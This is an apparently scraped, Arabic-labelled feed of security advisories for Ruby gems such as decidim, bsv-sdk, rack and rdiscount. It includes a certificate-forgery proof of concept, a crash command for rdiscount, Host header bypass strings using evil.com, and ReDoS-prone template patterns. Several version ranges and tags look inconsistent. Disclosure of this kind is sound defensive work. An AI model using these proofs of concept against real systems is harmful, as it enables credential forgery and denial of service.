### Impact The vulnerability allows any registered and authenticated user to accept or reject any amendments. The impact is on any users who have created proposals where the amendments feature is enabled. This also elevates the user accepting the amendment as the author of the original proposal as people amending proposals are provided coauthorship on the coauthorable resources. The only check done when accepting or rejecting amendments is whether the amendment reactions are enabled for the component: https://github.com/decidim/decidim/blob/9d6c3d2efe5a83bb02e095824ff5998d96a75eb7/decidim-core/app/permissions/decidim/permissions.rb#L107 The permission checks have been changed at 1b99136 which was introduced in released version 0.19.0. I have not investigated whether prior versions are also affected. ### Patches Not available ### Workarounds Disable amendment reactions for the amendable component (e.g. proposals).

الإصدارات المتأثرة

All versions < 0.31.0, 0.31.0.rc1, 0.31.0.rc2

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

7.5/10 عالية
📦 decidim-core, decidim-core 🏢 decidim 📌 >= 0.31.0.rc1, < 0.31.1, >= 0.19.0, < 0.30.5 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Ruby rubygems ⚡ CWE-266 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact The vulnerability allows any registered and authenticated user to accept or reject any amendments. The impact is on any users who have created proposals where the amendments feature is enabled. This also elevates the user accepting the amendment as the author of the or...
📅 2026-04-14 GitHub 🔗 التفاصيل

الوصف الكامل

### Impact The vulnerability allows any registered and authenticated user to accept or reject any amendments. The impact is on any users who have created proposals where the amendments feature is enabled. This also elevates the user accepting the amendment as the author of the original proposal as people amending proposals are provided coauthorship on the coauthorable resources. The only check done when accepting or rejecting amendments is whether the amendment reactions are enabled for the component: https://github.com/decidim/decidim/blob/9d6c3d2efe5a83bb02e095824ff5998d96a75eb7/decidim-core/app/permissions/decidim/permissions.rb#L107 The permission checks have been changed at 1b99136 which was introduced in released version 0.19.0. I have not investigated whether prior versions are also affected. ### Patches Not available ### Workarounds Disable amendment reactions for the amendable component (e.g. proposals).

الإصدارات المتأثرة

>= 0.31.0.rc1, < 0.31.1, >= 0.19.0, < 0.30.5

نوع الثغرة

CWE-266 — CWE-266

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

منخفضة
📦 fat_free_crm 📌 All versions < 0.11.0, 0.11.1, 0.11.2, 0.11.3, 0.11.4 📧 بريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact Authenticated users can delete emails imported into the system assigned to another user; where the [Email Dropbox](https://github.com/fatfreecrm/fat_free_crm/wiki/Email-Dropbox) is in use. ### Patches Fixed in v0.26.0 ### Workarounds Disable use of email dropbox.
📅 2026-04-14 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Impact Authenticated users can delete emails imported into the system assigned to another user; where the [Email Dropbox](https://github.com/fatfreecrm/fat_free_crm/wiki/Email-Dropbox) is in use. ### Patches Fixed in v0.26.0 ### Workarounds Disable use of email dropbox.

الإصدارات المتأثرة

All versions < 0.11.0, 0.11.1, 0.11.2, 0.11.3, 0.11.4

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

9.3/10 حرجة
📦 decidim-core, decidim-core 📌 >= 0.31.0.rc1, < 0.31.0, < 0.30.5 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Ruby rubygems ⚡ XSS 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 cyberschnaps
💬 ### Impact A stored code execution vulnerability in the user name field allows a low-privileged attacker to execute arbitrary code in the context of any user who passively visits a comment page, resulting in high confidentiality and integrity impact across security boundaries. #...
📅 2026-04-13 GitHub 🔗 التفاصيل

الوصف الكامل

### Impact A stored code execution vulnerability in the user name field allows a low-privileged attacker to execute arbitrary code in the context of any user who passively visits a comment page, resulting in high confidentiality and integrity impact across security boundaries. ### Patches N/A ### Workarounds Not available ### References OWASP ASVS v4.0.3-5.1.3 ### Credits This issue was discovered in a security audit organized by [octree](https://octree.ch/) and made by [Secu Labs](https://seculabs.ch/) against Decidim financed by the city of Lausanne (Switzerland).

الإصدارات المتأثرة

>= 0.31.0.rc1, < 0.31.0, < 0.30.5

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

7.5/10 عالية
📦 bsv-sdk 📌 >= 0.1.0, < 0.8.2 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Ruby rubygems ⚡ CWE-754 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 sgbett
💬 # ARC broadcaster treats failure statuses as successful broadcasts ## Summary `BSV::Network::ARC`'s failure detection only recognises `REJECTED` and `DOUBLE_SPEND_ATTEMPTED`. ARC responses with `txStatus` values of `INVALID`, `MALFORMED`, `MINED_IN_STALE_BLOCK`, or any `ORPHAN`...
📅 2026-04-09 GitHub 🔗 التفاصيل

الوصف الكامل

# ARC broadcaster treats failure statuses as successful broadcasts ## Summary `BSV::Network::ARC`'s failure detection only recognises `REJECTED` and `DOUBLE_SPEND_ATTEMPTED`. ARC responses with `txStatus` values of `INVALID`, `MALFORMED`, `MINED_IN_STALE_BLOCK`, or any `ORPHAN`-containing `extraInfo` / `txStatus` are silently treated as successful broadcasts. Applications that gate actions on broadcaster success are tricked into trusting transactions that were never accepted by the network. ## Details `lib/bsv/network/arc.rb` (lines ~74-100 in the affected code) uses a narrow failure predicate compared to the TypeScript reference SDK. The TS broadcaster additionally recognises: - `INVALID` - `MALFORMED` - `MINED_IN_STALE_BLOCK` - Any response containing `ORPHAN` in `extraInfo` or `txStatus` The Ruby implementation omits all of these, so ARC responses carrying any of these statuses are returned to the caller as successful broadcasts. Additional divergences in the same module compound the risk: - `Content-Type` is sent as `application/octet-stream`; the TS reference sends `application/json` with a `{ rawTx: <hex> }` body (EF form where source transactions are available). - The headers `XDeployment-ID`, `X-CallbackUrl`, and `X-CallbackToken` are not sent. The immediate security-relevant defect is the missing failure statuses; the other divergences are fixed in the same patch for protocol compliance. ## Impact Integrity: callers receive a success response for broadcasts that were actually rejected by the ARC endpoint. Applications and downstream gems that gate actions on broadcaster success — releasing goods, marking invoices paid, treating a token as minted, progressing a workflow — are tricked into trusting transactions that were never broadcast. This is an integrity bug with security consequences. It does not disclose information (confidentiality unaffected) and does not affect availability. ## CVSS rationale `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` → **7.5 (High)** - **AV:N** — network-reachable. - **AC:L** — no specialised access conditions are required. Triggering any of the unhandled failure statuses is not meaningfully harder than broadcasting a transaction at all: a malformed or invalid transaction, an orphan condition from a transient fork, or a hostile/misbehaving ARC endpoint returning one of these statuses is sufficient. The attacker does not need to defeat any mitigation or race a specific window — the bug is that the code path doesn't exist at all. - **PR:N** — no privileges required. - **UI:N** — no user interaction. - **C:N** — no confidentiality impact. - **I:H** — downstream integrity decisions are taken on non-broadcast transactions. - **A:N** — no availability impact. ## Affected versions The ARC broadcaster was introduced in commit `a1f2e62` ("feat(network): add ARC broadcaster with injectable HTTP client") on 2026-02-08 and first released in **v0.1.0**. The narrow failure predicate has been present since introduction. Every release up to and including **v0.8.1** is affected. Affected range: `>= 0.1.0, < 0.8.2`. ## Patches Upgrade to `bsv-sdk >= 0.8.2`. The fix: - Expands the failure predicate (`REJECTED_STATUSES` + `ORPHAN` substring check on both `txStatus` and `extraInfo`) to include `INVALID`, `MALFORMED`, `MINED_IN_STALE_BLOCK`, and any orphan-containing response, matching the TypeScript reference. - Switches `Content-Type` to `application/json` with a `{ rawTx: <hex> }` body, preferring Extended Format (BRC-30) hex when every input has `source_satoshis` and `source_locking_script` populated and falling back to plain raw-tx hex otherwise. - Adds support for the `XDeployment-ID` (default: random `bsv-ruby-sdk-<hex>`), `X-CallbackUrl`, and `X-CallbackToken` headers via new constructor keyword arguments. Fixed in sgbett/bsv-ruby-sdk#306. ### Note for `bsv-wallet` consumers The sibling gem `bsv-wallet` (published from the same repository) is not independently vulnerable — `lib/bsv/network/arc.rb` is not bundled into the wallet gem's `files` list. However, `bsv-wallet` runtime-depends on `bsv-sdk`, so a consumer of `bsv-wallet` that also invokes the ARC broadcaster is transitively exposed whenever `Gemfile.lock` resolves to a vulnerable `bsv-sdk` version. `bsv-wallet >= 0.3.4` tightens its `bsv-sdk` constraint to `>= 0.8.2, < 1.0`, so upgrading either gem is sufficient to pull in the fix. ## Workarounds If upgrading is not immediately possible: - Verify broadcast results out-of-band (e.g. query a block explorer or WhatsOnChain) before treating a transaction as broadcast. - Do not gate integrity-critical actions solely on the ARC broadcaster's success response. ## Credit Identified during the 2026-04-08 cross-SDK compliance review, tracked as finding F5.13. ## References - HLR: sgbett/bsv-ruby-sdk#305 - Fix PR: sgbett/bsv-ruby-sdk#306 - Compliance review: [`.architecture/reviews/20260408-cross-sdk-compliance-review.md`](../../.architecture/reviews/20260408-cross-sdk-compliance-review.md) - TypeScript reference: `ARC` class in `@bsv/sdk`

الإصدارات المتأثرة

>= 0.1.0, < 0.8.2

نوع الثغرة

CWE-754 — CWE-754

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

8.1/10 عالية
📦 bsv-sdk, bsv-wallet 📌 >= 0.3.1, < 0.8.2, >= 0.1.2, < 0.3.4 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Ruby rubygems ⚡ CWE-347 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 sgbett
💬 # Unverified certifier signatures persisted by `acquire_certificate` ## Affected packages Both `bsv-sdk` and `bsv-wallet` are published from the [sgbett/bsv-ruby-sdk](https://github.com/sgbett/bsv-ruby-sdk) repository. The vulnerable code lives in `lib/bsv/wallet_interface/wall...
📅 2026-04-09 GitHub 🔗 التفاصيل

الوصف الكامل

# Unverified certifier signatures persisted by `acquire_certificate` ## Affected packages Both `bsv-sdk` and `bsv-wallet` are published from the [sgbett/bsv-ruby-sdk](https://github.com/sgbett/bsv-ruby-sdk) repository. The vulnerable code lives in `lib/bsv/wallet_interface/wallet_client.rb`, which is **physically shipped inside both gems** (the `bsv-wallet.gemspec` `files` list bundles the entire `lib/bsv/wallet_interface/` tree). Consumers of either gem are independently vulnerable; the two packages are versioned separately, so each has its own affected range. | Package | Affected | Patched | | --- | --- | --- | | `bsv-sdk` | `>= 0.3.1, < 0.8.2` | `0.8.2` | | `bsv-wallet` | `>= 0.1.2, < 0.3.4` | `0.3.4` | ## Summary `BSV::Wallet::WalletClient#acquire_certificate` persists certificate records to storage **without verifying the certifier's signature** over the certificate contents. Both acquisition paths are affected: - `acquisition_protocol: 'direct'` — the caller supplies all certificate fields (including `signature:`) and the record is written to storage verbatim. - `acquisition_protocol: 'issuance'` — the client POSTs to a certifier URL and writes whatever signature the response body contains, also without verification. An attacker who can reach either API (or who controls a certifier endpoint targeted by the issuance path) can forge identity certificates that subsequently appear authentic to `list_certificates` and `prove_certificate`. ## Details BRC-52 requires a certificate's `signature` field to be verified against the claimed certifier's public key over a canonical hashing of `(type, subject, serialNumber, revocationOutpoint, fields)` before the certificate is trusted. The reference TypeScript SDK enforces this in `Certificate.verify()`. ### Direct path The Ruby implementation's `acquire_via_direct` path (`lib/bsv/wallet_interface/wallet_client.rb`) constructs the certificate record directly from caller-supplied fields: ```ruby def acquire_via_direct(args) { type: args[:type], subject: @key_deriver.identity_key, serial_number: args[:serial_number], certifier: args[:certifier], revocation_outpoint: args[:revocation_outpoint], signature: args[:signature], fields: args[:fields], keyring: args[:keyring_for_subject] } end ``` The returned record is then written to the storage adapter by `acquire_certificate`. No verification of `args[:signature]` against `args[:certifier]`'s public key occurs at any point in this path. ### Issuance path `acquire_via_issuance` POSTs to a certifier-supplied URL and parses the response body into a certificate record, which is then written to storage without verifying the returned signature. A hostile or compromised certifier endpoint — or anyone able to redirect/MITM the plain HTTP request — can therefore return an arbitrary `signature` value for any subject and have it stored as authentic. This is the same class of bypass as the direct path; it was tracked separately as finding **F8.16** in the compliance review and is closed by the same fix. ### Downstream impact Downstream reads via `list_certificates` and selective-disclosure via `prove_certificate` treat stored records as valid without re-verifying, so any forgery that slips past `acquire_certificate` is trusted permanently. ## Impact Any caller that can invoke `acquire_certificate` — via either acquisition protocol — can forge a certificate attributed to an arbitrary certifier identity key, containing arbitrary fields, and have it persisted as authentic. Applications and downstream gems that rely on the wallet's certificate store as a source of truth for identity attributes (e.g. KYC assertions, role claims, attestations) are subject to credential forgery. This is a credential-forgery primitive, not merely a spec divergence from BRC-52. ## CVSS rationale `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` → **8.1 (High)** - **AV:N** — network-reachable in any wallet context that exposes `acquire_certificate` to callers. - **AC:L** — low attack complexity: pass arbitrary bytes as `signature:`. - **PR:L** — low privileges: any caller authorised to invoke `acquire_certificate`. - **UI:N** — no user interaction required. - **C:H** — forged credentials via `prove_certificate` can assert attributes about the subject. - **I:H** — the wallet's credential store is polluted with attacker-controlled data. - **A:N** — availability unaffected. ## Proof of concept ```ruby client = BSV::Wallet::WalletClient.new(key, storage: BSV::Wallet::MemoryStore.new) client.acquire_certificate( type: 'age-over-18', acquisition_protocol: 'direct', certifier: claimed_trusted_pubkey_hex, serial_number: 'any-serial', revocation_outpoint: ('00' * 32) + '.0', signature: 'deadbeef' * 16, # arbitrary bytes — never verified fields: { 'verified' => 'true' }, keyring_for_subject: {} ) client.list_certificates( certifiers: [claimed_trusted_pubkey_hex], types: ['age-over-18'] ) # => returns the forged record as if it were a real certificate from that certifier ``` ## Affected versions The vulnerable direct-path code was introduced in commit `d14dd19` ("feat(wallet): implement BRC-100 identity certificate methods (Phase 5)") on 2026-03-27 20:35 UTC. The vulnerable issuance-path code was added one day later in `6a4d898` ("feat(wallet): implement certificate issuance protocol", 2026-03-28 04:38 UTC), which removed an earlier `raise UnsupportedActionError` and replaced it with an unverified HTTP POST. **`bsv-sdk`:** the v0.3.1 chore bump (`89de3a2`) was committed 28 minutes after `d14dd19`, so the direct-path bypass shipped in the **v0.3.1** tag. The v0.3.1 release raised `UnsupportedActionError` for the issuance path, so the issuance-path bypass first shipped in **v0.3.2** (`5a335de`). Every subsequent release up to and including **v0.8.1** is affected by at least one path, and every release from v0.3.2 onwards is affected by both. Combined affected range: `>= 0.3.1, < 0.8.2`. **`bsv-wallet`:** at the time both commits landed, the wallet gem was at version 0.1.1. The first wallet release containing any of the vulnerable code was **v0.1.2** (`5a335de`, 2026-03-30), which shipped both paths simultaneously. Every subsequent release up to and including **v0.3.3** is affected on both paths. Affected range: `>= 0.1.2, < 0.3.4`. ## Patches Upgrade to `bsv-sdk >= 0.8.2` **and/or** `bsv-wallet >= 0.3.4`. Both releases ship the same fix: a new module `BSV::Wallet::CertificateSignature` (`lib/bsv/wallet_interface/certificate_signature.rb`), which builds the BRC-52 canonical preimage (`type`, `serial_number`, `subject`, `certifier`, `revocation_outpoint`, lexicographically-sorted `fields`) and verifies the certifier's signature against it via `ProtoWallet#verify_signature` with protocol ID `[2, 'certificate signature']` and counterparty = the claimed certifier's public key. Both `acquire_via_direct` and `acquire_via_issuance` now call `CertificateSignature.verify!` before returning the certificate to `acquire_certificate`, so invalid certificates raise `BSV::Wallet::CertificateSignature::InvalidError` (a subclass of `InvalidSignatureError`) and are never written to storage. Consumers should upgrade whichever gem they depend on directly; they do not need both. `bsv-wallet 0.3.4` additionally tightens its dependency on `bsv-sdk` from the stale `~> 0.4` to `>= 0.8.2, < 1.0`, which forces the known-good pairing and pulls in the sibling advisory fixes (F1.3, F5.13) tracked separately. The issuance-path fix also partially closes finding **F8.16** from the same compliance review. F8.16's second aspect — switching the issuance transport from ad-hoc JSON POST to BRC-104 AuthFetch — is not addressed here and remains deferred to a future release. Fixed in sgbett/bsv-ruby-sdk#306. ## Workarounds If upgrading is not immediately possible: - Do not expose `acquire_certificate` (either acquisition protocol) to untrusted callers. - Do not invoke `acquire_certificate` with `acquisition_protocol: 'issuance'` against a certifier URL you do not fully trust, and require TLS for any such request. - Treat any record returned by `list_certificates` / `prove_certificate` as unverified and perform an out-of-band BRC-52 verification against the certifier's public key before acting on it. ## Credit Identified during the 2026-04-08 cross-SDK compliance review, tracked as findings F8.15 (direct path) and F8.16 (issuance path, partial). ## References - HLR: sgbett/bsv-ruby-sdk#305 - Fix PR: sgbett/bsv-ruby-sdk#306 - Compliance review: [`.architecture/reviews/20260408-cross-sdk-compliance-review.md`](../../.architecture/reviews/20260408-cross-sdk-compliance-review.md) - BRC-52 specification: https://brc.dev/52 - TypeScript reference: `Certificate.verify()` in `@bsv/sdk`

الإصدارات المتأثرة

>= 0.3.1, < 0.8.2, >= 0.1.2, < 0.3.4

نوع الثغرة

CWE-347 — CWE-347

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

حرجة
📦 rack-session 📌 2.0.0, 2.1.0, 2.1.1 🌐 متصفح 💎 مكتبة Ruby RubyGems ⚡ Auth Bypass 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 `Rack::Session::Cookie` incorrectly handles decryption failures when configured with `secrets:`. If cookie decryption fails, the implementation falls back to a default decoder instead of rejecting the cookie. This allows an unauthenticated attacker to supply a crafted session coo...
📅 2026-04-08 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

`Rack::Session::Cookie` incorrectly handles decryption failures when configured with `secrets:`. If cookie decryption fails, the implementation falls back to a default decoder instead of rejecting the cookie. This allows an unauthenticated attacker to supply a crafted session cookie that is accepted as valid session data without knowledge of any configured secret. Because this mechanism is used to load session state, an attacker can manipulate session contents and potentially gain unauthorized access. ## Details When `secrets:` is configured, `Rack::Session::Cookie` attempts to decrypt incoming session cookies using one of the configured encryptors. If all decrypt attempts fail, the implementation does not reject the cookie. Instead, it falls back to decoding the cookie using a default coder. This fallback path processes attacker-controlled cookie data as trusted session state. The behavior is implicit and occurs even when encrypted cookies are expected. The fallback decoder is applied automatically and does not require the application to opt into a non-encrypted session format. As a result, a client can send a specially crafted cookie value that bypasses the intended integrity protections provided by `secrets:`. This issue affects both default configurations and those using alternative serializers for encrypted payloads. ## Impact Any Rack application using `Rack::Session::Cookie` with `secrets:` may be affected. > [!NOTE] > Rails applications are typically not affected — Rails uses `ActionDispatch::Session::CookieStore`, which is a separate implementation backed by `ActiveSupport::MessageEncryptor` and does not share the vulnerable code path. An unauthenticated attacker can supply a crafted session cookie that is accepted as valid session data. This can lead to authentication bypass or privilege escalation in applications that rely on session values for identity or authorization decisions. Depending on application behavior and available runtime components, processing of untrusted session data may also expose additional risks. ## Mitigation * Update to a patched version of`rack-session` that rejects cookies when decryption fails under the `secrets:` configuration. * After updating, rotate session secrets to invalidate existing session cookies, since attacker-supplied session data may have been accepted and re-issued prior to the fix.

الإصدارات المتأثرة

2.0.0, 2.1.0, 2.1.1

نوع الثغرة

CWE-287 — Auth Bypass

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

عالية
📦 addressable 📌 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6 🗄️ سيرفر 💎 مكتبة Ruby RubyGems ⚡ CWE-1333 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact Within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking: 1. Templates using the `*` (explode) modifier with any expansion operator (e.g., `{foo*}`, `{+var*}`, `{#var*}`, `...
📅 2026-04-08 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Impact Within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking: 1. Templates using the `*` (explode) modifier with any expansion operator (e.g., `{foo*}`, `{+var*}`, `{#var*}`, `{/var*}`, `{.var*}`, `{;var*}`, `{?var*}`, `{&var*}`) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI. 2. Templates using multiple variables with the `+` or `#` operators (e.g., `{+v1,v2,v3}`) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables. When matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. The first pattern was partially addressed in 2.8.10 for certain operator combinations. Both patterns are fully remediated in 2.9.0. Users of the URI parsing capabilities in Addressable but not the URI template matching capabilities are unaffected. ### Affected Versions This vulnerability affects Addressable >= 2.3.0 (note: 2.3.0 and 2.3.1 were yanked; the earliest installable release is 2.3.2). It was partially fixed in version 2.8.10 and fully remediated in 2.9.0. The vulnerability is more exploitable on MRI Ruby < 3.2 and on all versions of JRuby and TruffleRuby. MRI Ruby 3.2 and later ship with Onigmo 6.9, which introduces memoization that prevents catastrophic backtracking for the first class of template. JRuby and TruffleRuby do not implement equivalent memoization and remain vulnerable to all patterns. This has been confirmed on the following runtimes: | Runtime | Status | |---------|--------| | MRI Ruby 2.6 | Vulnerable | | MRI Ruby 2.7 | Vulnerable | | MRI Ruby 3.0 | Vulnerable | | MRI Ruby 3.1 | Vulnerable | | MRI Ruby 3.2 | Partially vulnerable | | MRI Ruby 3.3 | Partially vulnerable | | MRI Ruby 3.4 | Partially vulnerable | | MRI Ruby 4.0 | Partially vulnerable | | JRuby 10.0 | Vulnerable | | TruffleRuby 21.2 | Vulnerable | ### Workarounds - **Upgrade to MRI Ruby 3.2 or later**, if your application does not use JRuby or TruffleRuby. The Onigmo memoization introduced in MRI Ruby 3.2 prevents catastrophic backtracking from nested unbounded quantifiers (pattern 1 above — templates using the `*` modifier). It does not reliably mitigate the O(n^k) multi-variable case (pattern 2), so upgrading Ruby alone may not be sufficient if your templates use `{+v1,v2,...}` or `{#v1,v2,...}` syntax. - **Avoid using vulnerable template patterns** when matching user-supplied input on unpatched versions of the library: - Templates using the `*` (explode) modifier: `{foo*}`, `{+var*}`, `{#var*}`, `{.var*}`, `{/var*}`, `{;var*}`, `{?var*}`, `{&var*}` - Templates using multiple variables with the `+` or `#` operators: `{+v1,v2}`, `{#v1,v2,v3}`, etc. - **Apply a short timeout** around any call to `Template#match` or `Template#extract` that processes user-supplied data. ### References - https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS - https://cwe.mitre.org/data/definitions/1333.html - https://www.regular-expressions.info/catastrophic.html ### Credits Discovered in collaboration with @jamfish. ### For more information If you have any questions or comments about this advisory: * [Open an issue](https://github.com/sporkmonger/addressable/issues)

الإصدارات المتأثرة

2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6

نوع الثغرة

CWE-1333 — CWE-1333

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

غير محدد
📦 rdiscount 📌 1.3.1.1, 1.3.4, 1.3.5, 1.5.5, 1.5.8 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems ⚡ Out-of-bounds Read 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary A signed length truncation bug causes an out-of-bounds read in the default Markdown parse path. Inputs larger than `INT_MAX` are truncated to a signed `int` before entering the native parser, allowing the parser to read past the end of the supplied buffer and crash t...
📅 2026-04-06 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary A signed length truncation bug causes an out-of-bounds read in the default Markdown parse path. Inputs larger than `INT_MAX` are truncated to a signed `int` before entering the native parser, allowing the parser to read past the end of the supplied buffer and crash the process ### Details In both public entry points: - `ext/rdiscount.c:97` - `ext/rdiscount.c:136` `RSTRING_LEN(text)` is passed directly into `mkd_string()`: ```c MMIOT *doc = mkd_string(RSTRING_PTR(text), RSTRING_LEN(text), flags); ``` `mkd_string()` accepts `int len`: - `ext/mkdio.c:174` ```c Document * mkd_string(const char *buf, int len, mkd_flag_t flags) { struct string_stream about; about.data = buf; about.size = len; return populate((getc_func)__mkd_io_strget, &about, flags & INPUT_MASK); } ``` The parser stores the remaining input length in a signed `int`: - `ext/markdown.h:205` ```c struct string_stream { const char *data; int size; }; ``` The read loop stops only when `size == 0`: - `ext/mkdio.c:161` ```c int __mkd_io_strget(struct string_stream *in) { if ( !in->size ) return EOF; --(in->size); return *(in->data)++; } ``` If the Ruby string length exceeds `INT_MAX`, the value can truncate to a negative `int`. In that state, the parser continues incrementing `data` and reading past the end of the original Ruby string, causing an out-of-bounds read and native crash. Affected APIs: - `RDiscount.new(input).to_html` - `RDiscount.new(input).toc_content` ### PoC Crash via `to_html`: ```sh RUBYLIB=lib:ext ruby -e 'require "rdiscount"; n=2_200_000_000; s = "a" * n; warn "built=#{s.bytesize}"; RDiscount.new(s).to_html"' ``` result: - `built=2200000000` - Ruby terminates with `[BUG] Segmentation fault` - top control frame: `CFUNC :to_html` same result with `toc_content` ### Impact This is an out-of-bounds read with the main issue being reliable denial-of-service. Impacted is limited to deployments parses attacker-controlled Markdown and permits multi-GB inputs. ### Fix just add a checked length guard before the `mkd_string()` call in both public entry points: - `ext/rdiscount.c:97` - `ext/rdiscount.c:136` ex: ```c VALUE text = rb_funcall(self, rb_intern("text"), 0); long text_len = RSTRING_LEN(text); VALUE buf = rb_str_buf_new(1024); Check_Type(text, T_STRING); if (text_len > INT_MAX) { rb_raise(rb_eArgError, "markdown input too large"); } MMIOT *doc = mkd_string(RSTRING_PTR(text), (int)text_len, flags); ``` The same guard should be applied in `rb_rdiscount_toc_content()` before its `mkd_string()` call.

الإصدارات المتأثرة

1.3.1.1, 1.3.4, 1.3.5, 1.5.5, 1.5.8

نوع الثغرة

CWE-125 — Out-of-bounds Read

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

غير محدد
📦 rack 📌 3.0.0, 3.0.0.beta1, 3.0.0.rc1, 3.0.1, 3.0.10 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `Rack::Request` parses the `Host` header using an `AUTHORITY` regular expression that accepts characters not permitted in RFC-compliant hostnames, including `/`, `?`, `#`, and `@`. Because `req.host` returns the full parsed value, applications that validate hosts usin...
📅 2026-04-02 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

## Summary `Rack::Request` parses the `Host` header using an `AUTHORITY` regular expression that accepts characters not permitted in RFC-compliant hostnames, including `/`, `?`, `#`, and `@`. Because `req.host` returns the full parsed value, applications that validate hosts using naive prefix or suffix checks can be bypassed. For example, a check such as `req.host.start_with?("myapp.com")` can be bypassed with `Host: myapp.com@evil.com`, and a check such as `req.host.end_with?("myapp.com")` can be bypassed with `Host: evil.com/myapp.com`. This can lead to host header poisoning in applications that use `req.host`, `req.url`, or `req.base_url` for link generation, redirects, or origin validation. ## Details `Rack::Request` parses the authority component using logic equivalent to: ```ruby AUTHORITY = / \A (?<host> \[(?<address>#{ipv6})\] | (?<address>[[[:graph:]&&[^\[\]]]]*?) ) (:(?<port>\d+))? \z /x ``` The character class used for non-IPv6 hosts accepts nearly all printable characters except `[` and `]`. This includes reserved URI delimiters such as `@`, `/`, `?`, and `#`, which are not valid hostname characters under RFC 3986 host syntax. As a result, values such as the following are accepted and returned through `req.host`: ```text myapp.com@evil.com evil.com/myapp.com evil.com#myapp.com ``` Applications that attempt to allowlist hosts using string prefix or suffix checks may therefore treat attacker-controlled hosts as trusted. For example: ```ruby req.host.start_with?("myapp.com") ``` accepts: ```text myapp.com@evil.com ``` and: ```ruby req.host.end_with?("myapp.com") ``` accepts: ```text evil.com/myapp.com ``` When those values are later used to build absolute URLs or enforce origin restrictions, the application may produce attacker-controlled results. ## Impact Applications that rely on `req.host`, `req.url`, or `req.base_url` may be affected if they perform naive host validation or assume Rack only returns RFC-valid hostnames. In affected deployments, an attacker may be able to bypass host allowlists and poison generated links, redirects, or origin-dependent security decisions. This can enable attacks such as password reset link poisoning or other host header injection issues. The practical impact depends on application behavior. If the application or reverse proxy already enforces strict host validation, exploitability may be reduced or eliminated. ## Mitigation * Update to a patched version of Rack that rejects invalid authority characters in `Host`. * Enforce strict `Host` header validation at the reverse proxy or load balancer. * Do not rely on prefix or suffix string checks such as `start_with?` or `end_with?` for host allowlisting. * Use exact host allowlists, or exact subdomain boundary checks, after validating that the host is syntactically valid.

الإصدارات المتأثرة

3.0.0, 3.0.0.beta1, 3.0.0.rc1, 3.0.1, 3.0.10

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

غير محدد
📦 rack 📌 All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `Rack::Files#fail` sets the `Content-Length` response header using `String#size` instead of `String#bytesize`. When the response body contains multibyte UTF-8 characters, the declared `Content-Length` is smaller than the number of bytes actually sent on the wire. Bec...
📅 2026-04-02 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

